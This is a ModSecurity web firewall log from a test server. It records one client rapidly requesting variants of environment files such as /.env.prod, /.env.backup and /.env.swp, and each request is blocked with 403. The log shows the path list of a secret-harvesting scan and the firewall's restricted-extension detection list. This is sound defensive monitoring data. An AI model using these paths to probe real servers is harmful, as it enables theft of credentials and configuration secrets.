[Sun Nov 16 05:33:17.125483 2025] [:error] [pid 103448] [client 18.119.101.32:59646] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aRlUDQbV20V557lJgw5yjwAAAAs"]
[Sun Nov 16 05:33:21.977744 2025] [:error] [pid 103447] [client 18.119.101.32:50886] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aRlUEVTEmL7xLg9Yon5F2AAAAAo"]
[Sun Nov 16 05:33:21.977957 2025] [:error] [pid 103447] [client 18.119.101.32:50886] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aRlUEVTEmL7xLg9Yon5F2AAAAAo"]
[Sun Nov 16 05:33:21.978119 2025] [:error] [pid 103447] [client 18.119.101.32:50886] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "aRlUEVTEmL7xLg9Yon5F2AAAAAo"]
[Sun Nov 16 05:33:22.011366 2025] [:error] [pid 103400] [client 18.119.101.32:50936] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aRlUEjNSkdMAuXBkjk7iGgAAAAI"]
[Sun Nov 16 05:33:22.011528 2025] [:error] [pid 103400] [client 18.119.101.32:50936] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aRlUEjNSkdMAuXBkjk7iGgAAAAI"]
[Sun Nov 16 05:33:22.011717 2025] [:error] [pid 103400] [client 18.119.101.32:50936] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aRlUEjNSkdMAuXBkjk7iGgAAAAI"]
[Sun Nov 16 05:33:22.011883 2025] [:error] [pid 103400] [client 18.119.101.32:50936] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "aRlUEjNSkdMAuXBkjk7iGgAAAAI"]
[Sun Nov 16 05:33:22.019175 2025] [:error] [pid 103402] [client 18.119.101.32:50878] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aRlUElUTJuGd1tZl6jZ_mgAAAAQ"]
[Sun Nov 16 05:33:22.019358 2025] [:error] [pid 103402] [client 18.119.101.32:50878] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aRlUElUTJuGd1tZl6jZ_mgAAAAQ"]
[Sun Nov 16 05:33:22.019516 2025] [:error] [pid 103402] [client 18.119.101.32:50878] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.dev"] [unique_id "aRlUElUTJuGd1tZl6jZ_mgAAAAQ"]
[Sun Nov 16 05:33:22.023706 2025] [:error] [pid 103399] [client 18.119.101.32:50904] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aRlUEmi5HgwUxagZ6y7LJAAAAAE"]
[Sun Nov 16 05:33:22.023880 2025] [:error] [pid 103399] [client 18.119.101.32:50904] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aRlUEmi5HgwUxagZ6y7LJAAAAAE"]
[Sun Nov 16 05:33:22.024021 2025] [:error] [pid 103399] [client 18.119.101.32:50904] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.development"] [unique_id "aRlUEmi5HgwUxagZ6y7LJAAAAAE"]
[Sun Nov 16 05:33:22.024788 2025] [:error] [pid 103401] [client 18.119.101.32:50916] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aRlUEr5rejGDIGJeuSGFtAAAAAM"]
[Sun Nov 16 05:33:22.024929 2025] [:error] [pid 103401] [client 18.119.101.32:50916] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aRlUEr5rejGDIGJeuSGFtAAAAAM"]
[Sun Nov 16 05:33:22.025068 2025] [:error] [pid 103401] [client 18.119.101.32:50916] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.test"] [unique_id "aRlUEr5rejGDIGJeuSGFtAAAAAM"]
[Sun Nov 16 05:33:22.029263 2025] [:error] [pid 103444] [client 18.119.101.32:50930] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aRlUEkjUGFX9l3ZphyhAmgAAAAc"]
[Sun Nov 16 05:33:22.029403 2025] [:error] [pid 103444] [client 18.119.101.32:50930] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aRlUEkjUGFX9l3ZphyhAmgAAAAc"]
[Sun Nov 16 05:33:22.029545 2025] [:error] [pid 103444] [client 18.119.101.32:50930] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aRlUEkjUGFX9l3ZphyhAmgAAAAc"]
[Sun Nov 16 05:33:22.050904 2025] [:error] [pid 103398] [client 18.119.101.32:50900] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aRlUErczEoTwe_Jf335FRwAAAAA"]
[Sun Nov 16 05:33:22.051082 2025] [:error] [pid 103398] [client 18.119.101.32:50900] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aRlUErczEoTwe_Jf335FRwAAAAA"]
[Sun Nov 16 05:33:22.051231 2025] [:error] [pid 103398] [client 18.119.101.32:50900] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.staging"] [unique_id "aRlUErczEoTwe_Jf335FRwAAAAA"]
[Sun Nov 16 05:33:22.083537 2025] [:error] [pid 103445] [client 18.119.101.32:50946] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aRlUEkC1MmZNgKkPK0wSXQAAAAg"]
[Sun Nov 16 05:33:22.083696 2025] [:error] [pid 103445] [client 18.119.101.32:50946] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aRlUEkC1MmZNgKkPK0wSXQAAAAg"]
[Sun Nov 16 05:33:22.083872 2025] [:error] [pid 103445] [client 18.119.101.32:50946] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aRlUEkC1MmZNgKkPK0wSXQAAAAg"]
[Sun Nov 16 05:33:22.084022 2025] [:error] [pid 103445] [client 18.119.101.32:50946] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aRlUEkC1MmZNgKkPK0wSXQAAAAg"]
[Sun Nov 16 05:33:22.118990 2025] [:error] [pid 103448] [client 18.119.101.32:50956] [client 18.119.101.32] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aRlUEgbV20V557lJgw5ykAAAAAs"]
[Sun Nov 16 05:33:22.119138 2025] [:error] [pid 103448] [client 18.119.101.32:50956] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aRlUEgbV20V557lJgw5ykAAAAAs"]
[Sun Nov 16 05:33:22.119321 2025] [:error] [pid 103448] [client 18.119.101.32:50956] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aRlUEgbV20V557lJgw5ykAAAAAs"]
[Sun Nov 16 05:33:22.119474 2025] [:error] [pid 103448] [client 18.119.101.32:50956] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "aRlUEgbV20V557lJgw5ykAAAAAs"]
[Sun Nov 16 05:33:22.134978 2025] [:error] [pid 103446] [client 18.119.101.32:50972] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aRlUEk-c4YqyOTFJOSeIQQAAAAk"]
[Sun Nov 16 05:33:22.135166 2025] [:error] [pid 103446] [client 18.119.101.32:50972] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aRlUEk-c4YqyOTFJOSeIQQAAAAk"]
[Sun Nov 16 05:33:22.135332 2025] [:error] [pid 103446] [client 18.119.101.32:50972] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "aRlUEk-c4YqyOTFJOSeIQQAAAAk"]
[Sun Nov 16 05:33:22.326854 2025] [:error] [pid 103447] [client 18.119.101.32:50966] [client 18.119.101.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aRlUElTEmL7xLg9Yon5F2QAAAAo"]
[Sun Nov 16 05:33:22.327076 2025] [:error] [pid 103447] [client 18.119.101.32:50966] [client 18.119.101.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aRlUElTEmL7xLg9Yon5F2QAAAAo"]
[Sun Nov 16 05:33:22.327237 2025] [:error] [pid 103447] [client 18.119.101.32:50966] [client 18.119.101.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.orig"] [unique_id "aRlUElTEmL7xLg9Yon5F2QAAAAo"]
